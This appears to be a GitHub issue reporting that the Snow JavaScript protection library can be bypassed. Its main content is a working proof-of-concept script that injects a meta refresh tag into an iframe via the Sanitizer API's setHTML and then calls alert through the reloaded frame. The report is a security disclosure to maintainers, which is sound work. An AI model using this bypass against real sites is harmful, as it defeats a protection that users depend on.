Skip to content

Snow can be bypassed with meta and the HTML sanitizer #151

@hackvertor

Description

@hackvertor

This is similar #142 but I use the Sanitizer API to inject the meta tag

i=document.createElement('iframe');
i.src=123;
i.name='xyz';
counter=0;
i.onload=x=>{
i.contentDocument.body.setHTML('<meta http-equiv="refresh" content="0">',
{sanitizer:new Sanitizer({allowElements: [ "meta" ],allowAttributes:{"http-equiv":["meta"],"content":["meta"]}})});
counter++;
if(counter>1){
  i.onload=null;
}
};
setInterval(x=>xyz.alert(1337),0);
document.body.append(i);

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions